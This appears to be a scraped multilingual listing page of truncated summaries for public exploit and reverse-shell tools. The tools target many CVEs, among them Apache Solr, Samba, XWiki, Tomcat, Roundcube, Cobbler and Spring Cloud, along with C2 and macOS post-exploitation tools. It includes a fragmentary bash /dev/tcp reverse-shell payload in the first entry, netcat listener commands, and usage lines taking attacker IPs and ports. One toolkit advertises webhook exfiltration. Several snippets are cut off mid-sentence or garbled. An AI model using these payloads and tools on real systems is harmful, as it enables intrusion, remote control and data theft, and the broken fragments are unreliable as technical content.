CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

CVE-2007-2447

CVE-2007-2447 为了测试该脚本，我推荐你使用虚拟机 "metasploitable 2"，可在此处获取。 如果漏洞利用成功，脚本将显示一个反向 shell。要建立连接，只需打开一个 netcat 会话，如下所示： root@kitploit: netcat -lnvp 目录 示例 依赖项 载荷 示例 root@kitploit: py CVE-2007-2447.py 192.168.1.38 1337 192.168.1.14 以及我的 netcat 端： root@kitploit: netcat -lnvp 1337 结果： netcat 端： alt text 脚本端...

cgi-bin-shellshock

使用方法 克隆仓库（或直接复制粘贴你偏好的脚本） root@kitploit: sudo git clone https://github.com/Gurguii/shellshock.sh 运行脚本 Bash root@kitploit: bash shellshock.sh -u -h -p Python root@kitploit: python3 shellshock.py -u -lh -lp 注意：默认 LPORT 为 4444，URL 为必填项。如果只提供 URL，则执行 RCE；否则，它将针对给定的 lhost 和 lport 执行 RSHELL。...

CVE-2025-24893-Reverse-Shell

CVE-2025-24893 - XWiki リモートコード実行エクスプロイト CVE-2025-24893 の PoC – XWiki マクロリモートコード実行 Artemir のオリジナル PoC に触発されました 説明 これは、脆弱なバージョンの XWiki におけるリモートコード実行 RCE 脆弱性である CVE-2025-24893 の Proof-of-Concept PoC エクスプロイトです。 この欠陥は、SolrSearch エンドポイント内でのユーザー入力の不適切なサニタイズにあり、RSS フィードクエリを介してサンドボックス化されていない...

CVE-2024-32002-Reverse-Shell

CVE-2024-32002-Reverse-Shell Este script demuestra cómo explotar la vulnerabilidad CVE-2024-32002 para obtener una reverse shell, proporcionando acceso remoto al sistema afectado. Úselo con precaución en entornos controlados y solo con fines educativos o de pruebas de seguridad. Publicación del...

CVE-2024-50498

CVE-2024-50498 描述 LUBUS WP Query Console 中存在生成代码控制不当（'Code Injection'）漏洞，允许代码注入。此问题影响 WP Query Console：从 n/a 到 1.0。 设置 Netcat 监听器： 在你的机器上打开一个终端并启动 Netcat 监听器，等待反向 shell 连接。 root@kitploit: nc -lvnp 用法 root@kitploit: usage: CVE-2024-50498.py -h -u URL -ip LISTENERIP -P PORT wordpress | Improper...

gerapy-cve-2021-43857

Gerapy CVE-2021-43857（经身份验证的远程代码执行） 本仓库包含针对 CVE-2021-43857 的概念验证漏洞利用程序， 该漏洞是影响 Gerapy -p -L -P 环境要求 1. Python 3.x 2. requests 和 pyfiglet（pip install requests pyfiglet） 3. Netcat（nc）...

CVE-2021-31630

CVE-2021-31630 Fellipe Oliveira による PoC CVE-2021-31630 スクリプトを HTB 向けに修正しました。 使い方 'Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"...

CVE-2021-26828-Ultimate

ScadaFlare - CVE-2021-26828 认证 RCE 利用工具包 一个针对 ScadaBR 1.1.0 的模块化认证后 RCE 利用工具，专为红队行动而增强。 功能特性 通过 viewedit.shtm 上传武器化的 .jsp shell 支持 Linux 与 Windows 载荷 支持 SOCKS5 / HTTP 代理 反弹 shell 触发（标准或 base64） 枚举模块（数据库、凭证、Log4Shell 等） Webhook 外传（Slack / Discord） 生成 Metasploit 资源脚本 清理支持（kill switch） MITRE ATT&CK...

xll_windows_reverse_shell

xllwindowsreverseshell xll shell inversa de Windows En tu máquina atacante Kali: root@kitploit: git clone https://github.com/n3rdh4x0r/xllwindowsreverseshell.git 1. Actualiza el revsh.ps1 2. crea un servidor HTTP de Python root@kitploit: python3 -m http.server 9999 En tu máquina atacante Windows:...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 是 Apache Tomcat 中一个严重的远程代码执行（RCE）漏洞。 该漏洞影响版本 9.0.0.M1 - 9.0.0, 8.5.0-8.5.22, 8.0.0.RC1 - 8.0.46, 7.0.0 - 7.0.81。 仅在 8.0.24 上测试过。漏洞利用了应用程序或 Tomcat 实例本身配置不当的 PUT 选项。 它使用 PUT 将反向 shell 有效载荷发送到服务器并执行，同时用 netcat 监听。 由于互联网上存在许多相同漏洞的利用版本但基于 python2，我将其重写为与 Python 3 兼容。 祝玩得愉...

CVE-2025-49113-Roundcube_1.6.10

CVE-2025-49113 – Roundcube 1.6.10 認証済みリモートコード実行 ⚠️ 免責事項 このリポジトリは教育および研究目的専用です。 すべてのデモは管理されたラボ環境で実施されました。 明示的な許可なしにシステムへの不正テストや悪用は違法かつ非倫理的です。著者はこの情報の誤用について一切の責任を負いません。 📌 Roundcubeとは？ Roundcube...

Bella

Bella Bella es una herramienta de minería de datos post-explotación y administración remota para macOS, escrita en Python puro. 🍎 💻 ¿Qué es? Bella es una herramienta robusta de post-explotación y administración remota para macOS, escrita en Python puro. Bella, también conocida como el servidor, e...

CVE-2024-47533-PoC

CVE-2024-47533 – Cobbler XMLRPC Authentication Bypass → Reverse Shell Unauthenticated RCE 📌 Summary This repository contains a Proof-of-Concept PoC exploit for CVE-2024-47533 , a critical authentication bypass in Cobbler's XMLRPC API that leads to unauthenticated remote code execution RCE. The...

sak1to-shell

sak1to-shell マルチスレッド、マルチOS/プラットフォーム（Linux/Windows）対応のC2サーバーと、C言語で書かれたWindows向けリバースTCPシェルクライアント。 i686-w64-mingw32-gcc を使用したリバースTCPシェルクライアントのコンパイル: root@kitploit: i686-w64-mingw32-gcc sakitorevshell.c lib/windows/sakitowincore.c -o sakitorevshell.exe -s -ffunction-sections -fdata-sections...

mcpExec

mcpExec 是一个利用 CVE-2026-23744 漏洞，通过易受攻击的 MCPJam Inspector 安装的 URL 来获取反向 Shell 的工具。 安装 root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip install argparse pip install requests chmod +x mcpExec.py 要退出虚拟环境...

CVE-2024-29510

原始研究及POC代码：https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/ 注意：除执行的命令外，我未对POC做任何修改。全部功劳归功于 Codean Labs 的 Thomas Rinsma 的出色研究及POC。 本地场景 1. 封装在stager脚本中，用于下载并运行检查脚本以判断主机是否存在漏洞 2. 修改POC以下载并执行Python3反弹Shell 3. Stager和反弹Shell通过标准输入下载并执行 4. POC会在 /tmp...

CVE-2015-8351

gwollebuster 此脚本用于利用 WordPress 旧版插件 gwolle 的漏洞 使用方法: ./gwollebuster.py 第一个参数 = 安装了 gwolle 的 WordPress 目标 URL 第二个参数 = 你的 IP 第三个参数 = 用于反向 shell 的监听端口 示例: ./gwollebuster.py http://vulnpress.com/ 192.168.1.5 1234 此脚本将生成 PHP 反向 shell 脚本并绑定简易服务器， 因此你需要在第一个终端打开两个新终端并监听 netcat，然后使用 curl 命令发起请求，...

CVE-2022-22963-POC

CVE-2022-22963 漏洞利用 描述 在 Spring Cloud Function 3.1.6、3.2.2 及更早的不受支持版本中，当使用路由功能时，用户可以提供特制的 SpEL 作为路由表达式，这可能导致远程代码执行并访问本地资源。更多详情请参见 CVE-2022-22963 详情。 基于 AayushmanThapaMagar 提供的 PoC，我正在创建一个简单的漏洞利用程序，从易受攻击的服务器获取反向 shell。 该项目的目的是简化漏洞测试并学习如何利用它。我稍后会添加关于此漏洞原因的更多细节。 需求 要运行此漏洞利用程序，你只需要 Docker。 使用方法...

CVE-2022-24834

CVE-2022-24834 公开利用程序的改进 作者 Conviso Research Team 描述 Ricerca Security @RicercaSec 团队发现并成功利用了一个 Redis 所包含的 Lua 解释器中的有趣漏洞 CVE-2022-24834。该漏洞是 cjson 库中的堆溢出漏洞，详细的分析可参见此处。 我们注意到一些硬编码的偏移量 2 3，这可能会给希望测试该漏洞的人带来不便，因此我们决定将其移除。主要目标是使其更通用，并学习一些 Lua 内部机制。 我们进行的修改 我们使用了一个巨大的字符串，以便更轻松地读取任意内存地址； 我们使用了 Lua 协程来泄露栈...